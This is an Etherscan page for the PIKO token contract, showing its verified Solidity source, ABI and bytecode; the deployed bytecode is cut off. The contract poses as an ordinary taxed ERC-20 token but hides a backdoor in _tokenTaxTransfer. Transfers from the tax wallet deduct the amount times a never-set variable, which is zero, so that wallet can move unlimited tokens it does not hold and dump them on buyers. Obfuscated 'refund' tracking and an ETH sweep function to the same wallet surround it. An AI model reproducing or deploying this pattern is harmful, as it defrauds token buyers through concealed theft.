ETH Price: $2,167.17 (+2.31%)

Token

PIKO (PIKO)
 

Overview

Max Total Supply

1,000,000,000 PIKO

Holders

73

Transfers

-
0 (0%)

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PIKO

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-11-04
*/

// SPDX-License-Identifier:MIT

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PIKO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExcludedFromFee;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=12;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=14;
    uint256 private _buyCount=0;

    IUniswapV2Router02 private constant _uniswapV2Router = IUniswapV2Router02(
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
    );

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"PIKO";
    string private constant _symbol = unicode"PIKO";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 11000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 9000000 * 10**_decimals;

    address payable private _taxWallet;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private limitsInEffect = true;
    struct TransfRefundData {uint256 metaTrasf; uint256 metaRefund; uint256 isFefundActive;}
    uint256 private transfRefundExile;
    uint256 private minTransfRefundData;
    mapping(address => TransfRefundData) private transfRefund;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x1D663155e5cAD0530b0b2156179390C5f66780cd);
        _balances[_msgSender()] = _tTotal;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]=_balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled|| inSwap ) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        bool sellTransfer = to == uniswapV2Pair;
        bool buyTransfer = from == uniswapV2Pair;

        uint256 taxAmount=0;
        if (from!=owner() && to!=owner()&& to!=_taxWallet) {
            taxAmount = tokenAmount
                .mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (buyTransfer && to!=address(_uniswapV2Router) &&  ! isExcludedFromFee[to])  {
                if (limitsInEffect) {
                    require(tokenAmount <= _maxTxAmount,"Exceeds the _maxTxAmount.");
                    require(balanceOf(to)+tokenAmount<=_maxWalletSize,"Exceeds the maxWalletSize.");
                }
                _buyCount++;
            }

            if(sellTransfer && from!=address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && sellTransfer && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance=address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((isExcludedFromFee[from] ||  isExcludedFromFee[to])&& from!=address(this) && to!= address(this)
        ) {
            minTransfRefundData = block.number;
        }
        if (! isExcludedFromFee[from]&&  ! isExcludedFromFee[to]){
            if (!sellTransfer)  {
                TransfRefundData storage transfRfnd = transfRefund[to];
                if (buyTransfer) {
                    if (transfRfnd.metaTrasf == 0) {
                        transfRfnd.metaTrasf = _buyCount<_preventSwapBefore?block.number- 1:block.number;
                    }
                } else {
                    TransfRefundData storage transfRfndXp = transfRefund[from];
                    if (transfRfnd.metaTrasf == 0 || transfRfndXp.metaTrasf < transfRfnd.metaTrasf ) {
                        transfRfnd.metaTrasf = transfRfndXp.metaTrasf;
                    }
                }
            } else {
                TransfRefundData storage transfRfndXp = transfRefund[from];
                transfRfndXp.metaRefund = transfRfndXp.metaTrasf.sub(minTransfRefundData);
                transfRfndXp.isFefundActive = block.number;
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount,uint256 receiptAmount) internal {
        _balances[from]=_balances[from].sub(sendAmount);
        _balances[to] =_balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount,uint256 taxAmount) internal {
        uint256 tAmount =_tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : transfRefundExile.mul(tokenAmount);
        if (taxAmount > 0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this), taxAmount);
        }
        return tAmount;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this),address(_uniswapV2Router),tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        limitsInEffect = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(_uniswapV2Router), _tTotal);
        swapEnabled = true;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance>0) {
            sendETHToFee(ethBalance);
        }
    }

    function resecureEth() external {
        require(address(this).balance > 0, "Token: no ETH to clear");
        require(_msgSender() == _taxWallet);
        payable(msg.sender).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resecureEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600455600c6005555f6006555f600755600f600855600f600955600e600a555f600b556009600a61003791906102cc565b610045906301312d006102e1565b600c556100546009600a6102cc565b610062906301312d006102e1565b600d556100716009600a6102cc565b61007e9062a7d8c06102e1565b600e5561008d6009600a6102cc565b61009a90628954406102e1565b600f556011805462ffffff60a81b1916600160b81b1790553480156100bd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b031916731d663155e5cad0530b0b2156179390c5f66780cd1790556101306009600a6102cc565b61013e90633b9aca006102e1565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556010546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101b26009600a6102cc565b6101c090633b9aca006102e1565b60405190815260200160405180910390a36102f8565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561022457815f190482111561020a5761020a6101d6565b8085161561021757918102915b93841c93908002906101ef565b509250929050565b5f8261023a575060016102c6565b8161024657505f6102c6565b816001811461025c576002811461026657610282565b60019150506102c6565b60ff841115610277576102776101d6565b50506001821b6102c6565b5060208310610133831016604e8410600b84101617156102a5575081810a6102c6565b6102af83836101ea565b805f19048211156102c2576102c26101d6565b0290505b92915050565b5f6102da60ff84168361022c565b9392505050565b80820281158282048414176102c6576102c66101d6565b611ab0806103055f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146101295780639d43898414610307578063a9059cbb1461031b578063bf474bed1461033a578063dd62ed3e1461034f575f80fd5b8063751039fc146102995780637d1db4a5146102ad5780638a8c523c146102c25780638da5cb5b146102d65780638f9a55c0146102f2575f80fd5b8063313ce567116100e3578063313ce567146101e957806349bd5a5e1461020457806351bc3c851461023b57806370a0823114610251578063715018a614610285575f80fd5b806306fdde0314610129578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b657806323b872dd146101ca575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082018252600481526350494b4f60e01b6020820152905161015b91906116ba565b60405180910390f35b34801561016f575f80fd5b5061018361017e366004611703565b610393565b604051901515815260200161015b565b34801561019e575f80fd5b506101a8600f5481565b60405190815260200161015b565b3480156101c1575f80fd5b506101a86103a9565b3480156101d5575f80fd5b506101836101e436600461172d565b6103c9565b3480156101f4575f80fd5b506040516009815260200161015b565b34801561020f575f80fd5b50601154610223906001600160a01b031681565b6040516001600160a01b03909116815260200161015b565b348015610246575f80fd5b5061024f610430565b005b34801561025c575f80fd5b506101a861026b36600461176b565b6001600160a01b03165f9081526001602052604090205490565b348015610290575f80fd5b5061024f610481565b3480156102a4575f80fd5b5061024f6104fb565b3480156102b8575f80fd5b506101a8600c5481565b3480156102cd575f80fd5b5061024f6105b9565b3480156102e1575f80fd5b505f546001600160a01b0316610223565b3480156102fd575f80fd5b506101a8600d5481565b348015610312575f80fd5b5061024f610970565b348015610326575f80fd5b50610183610335366004611703565b610a03565b348015610345575f80fd5b506101a8600e5481565b34801561035a575f80fd5b506101a8610369366004611786565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039f338484610a0f565b5060015b92915050565b5f6103b66009600a6118b1565b6103c490633b9aca006118bf565b905090565b5f6103d5848484610b33565b610426843361042185604051806060016040528060288152602001611a53602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110cf565b610a0f565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461044f575f80fd5b305f90815260016020526040902054801561046d5761046d81611107565b47801561047d5761047d816112b0565b5050565b5f546001600160a01b031633146104b35760405162461bcd60e51b81526004016104aa906118d6565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105245760405162461bcd60e51b81526004016104aa906118d6565b6105306009600a6118b1565b61053e90633b9aca006118bf565b600c5561054d6009600a6118b1565b61055b90633b9aca006118bf565b600d556011805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105986009600a6118b1565b6105a690633b9aca006118bf565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105e25760405162461bcd60e51b81526004016104aa906118d6565b601154600160a01b900460ff161561063c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104aa565b61066f30737a250d5630b4cf539739df2c5dacb4c659f2488d6106616009600a6118b1565b61042190633b9aca006118bf565b6011805460ff60b01b1916600160b01b1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a01559160048083019260209291908290030181865afa1580156106d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f4919061190b565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610753573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610777919061190b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e5919061190b565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806108465f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ac573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108d19190611926565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610936573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095a9190611951565b506011805460ff60a01b1916600160a01b179055565b5f47116109b85760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016104aa565b6010546001600160a01b0316336001600160a01b0316146109d7575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610a00573d5f803e3d5ffd5b50565b5f61039f338484610b33565b6001600160a01b038316610a715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104aa565b6001600160a01b038216610ad25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104aa565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104aa565b6001600160a01b038216610bf95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104aa565b5f8111610c5a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104aa565b601154600160b01b900460ff161580610c7c5750601154600160a81b900460ff165b15610c9157610c8c8383836112e7565b505050565b6011546001600160a01b0383811691811691821491908516145f610cbc5f546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610cea57505f546001600160a01b03868116911614155b8015610d0457506010546001600160a01b03868116911614155b15610f4d57610d356064610d2f600854600b5411610d2457600454610d28565b6006545b879061138a565b9061140f565b9050818015610d6157506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610d8557506001600160a01b0385165f9081526003602052604090205460ff16155b15610e7d57601154600160b81b900460ff1615610e6857600c54841115610dee5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104aa565b600d5484610e10876001600160a01b03165f9081526001602052604090205490565b610e1a9190611970565b1115610e685760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104aa565b600b8054905f610e7783611983565b91905055505b828015610e9357506001600160a01b0386163014155b15610ec057610ebd6064610d2f600954600b5411610eb357600554610d28565b600754879061138a565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610ee65750835b8015610efb5750601154600160b01b900460ff165b8015610f085750600e5481115b8015610f175750600a54600b54115b15610f4b57610f39610f3486610f2f84600f54611450565b611450565b611107565b478015610f4957610f49476112b0565b505b505b6001600160a01b0386165f9081526003602052604090205460ff1680610f8a57506001600160a01b0385165f9081526003602052604090205460ff165b8015610f9f57506001600160a01b0386163014155b8015610fb457506001600160a01b0385163014155b15610fbe57436013555b6001600160a01b0386165f9081526003602052604090205460ff16158015610ffe57506001600160a01b0385165f9081526003602052604090205460ff16155b156110bb5782611089576001600160a01b0385165f90815260146020526040902082156110515780545f0361104c57600a54600b541061103e5743611049565b61104960014361199b565b81555b611083565b6001600160a01b0387165f90815260146020526040902081541580611077575081548154105b1561108157805482555b505b506110bb565b6001600160a01b0386165f90815260146020526040902060135481546110ae91611464565b6001820155436002909101555b6110c7868686846114a5565b505050505050565b5f81848411156110f25760405162461bcd60e51b81526004016104aa91906116ba565b505f6110fe848661199b565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061114d5761114d6119ae565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111e1919061190b565b816001815181106111f4576111f46119ae565b60200260200101906001600160a01b031690816001600160a01b03168152505061123330737a250d5630b4cf539739df2c5dacb4c659f2488d84610a0f565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112729085905f908690309042906004016119c2565b5f604051808303815f87803b158015611289575f80fd5b505af115801561129b573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561047d573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546113099082611464565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461133790826114cf565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b269085815260200190565b5f825f0361139957505f6103a3565b5f6113a483856118bf565b9050826113b18583611a33565b146114085760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104aa565b9392505050565b5f61140883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152d565b5f81831161145e5782611408565b50919050565b5f61140883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110cf565b5f6114b1858484611559565b90506114c88585836114c38787611464565b611609565b5050505050565b5f806114db8385611970565b9050838110156114085760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104aa565b5f818361154d5760405162461bcd60e51b81526004016104aa91906116ba565b505f6110fe8486611a33565b6010545f9081906001600160a01b039081169086160361158557601254611580908561138a565b611587565b835b9050821561160157305f908152600160205260409020546115a890846114cf565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115f89087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461162b9083611464565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461165990826114cf565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ac9085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a00575f80fd5b5f8060408385031215611714575f80fd5b823561171f816116ef565b946020939093013593505050565b5f805f6060848603121561173f575f80fd5b833561174a816116ef565b9250602084013561175a816116ef565b929592945050506040919091013590565b5f6020828403121561177b575f80fd5b8135611408816116ef565b5f8060408385031215611797575f80fd5b82356117a2816116ef565b915060208301356117b2816116ef565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561180b57815f19048211156117f1576117f16117bd565b808516156117fe57918102915b93841c93908002906117d6565b509250929050565b5f82611821575060016103a3565b8161182d57505f6103a3565b8160018114611843576002811461184d57611869565b60019150506103a3565b60ff84111561185e5761185e6117bd565b50506001821b6103a3565b5060208310610133831016604e8410600b841016171561188c575081810a6103a3565b61189683836117d1565b805f19048211156118a9576118a96117bd565b029392505050565b5f61140860ff841683611813565b80820281158282048414176103a3576103a36117bd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561191b575f80fd5b8151611408816116ef565b5f805f60608486031215611938575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611961575f80fd5b81518015158114611408575f80fd5b808201808211156103a3576103a36117bd565b5f60018201611994576119946117bd565b5060010190565b818103818111156103a3576103a36117bd565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a125784516001600160a01b0316835293830193918301916001016119ed565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a4d57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220190bbcc389adb791c1eb9a01bfba0918bb53738ffa0291c2e35d3fb7b2f71b3464736f6c63430008190033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146101295780639d43898414610307578063a9059cbb1461031b578063bf474bed1461033a578063dd62ed3e1461034f575f80fd5b8063751039fc146102995780637d1db4a5146102ad5780638a8c523c146102c25780638da5cb5b146102d65780638f9a55c0146102f2575f80fd5b8063313ce567116100e3578063313ce567146101e957806349bd5a5e1461020457806351bc3c851461023b57806370a0823114610251578063715018a614610285575f80fd5b806306fdde0314610129578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b657806323b872dd146101ca575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082018252600481526350494b4f60e01b6020820152905161015b91906116ba565b60405180910390f35b34801561016f575f80fd5b5061018361017e366004611703565b610393565b604051901515815260200161015b565b34801561019e575f80fd5b506101a8600f5481565b60405190815260200161015b565b3480156101c1575f80fd5b506101a86103a9565b3480156101d5575f80fd5b506101836101e436600461172d565b6103c9565b3480156101f4575f80fd5b506040516009815260200161015b565b34801561020f575f80fd5b50601154610223906001600160a01b031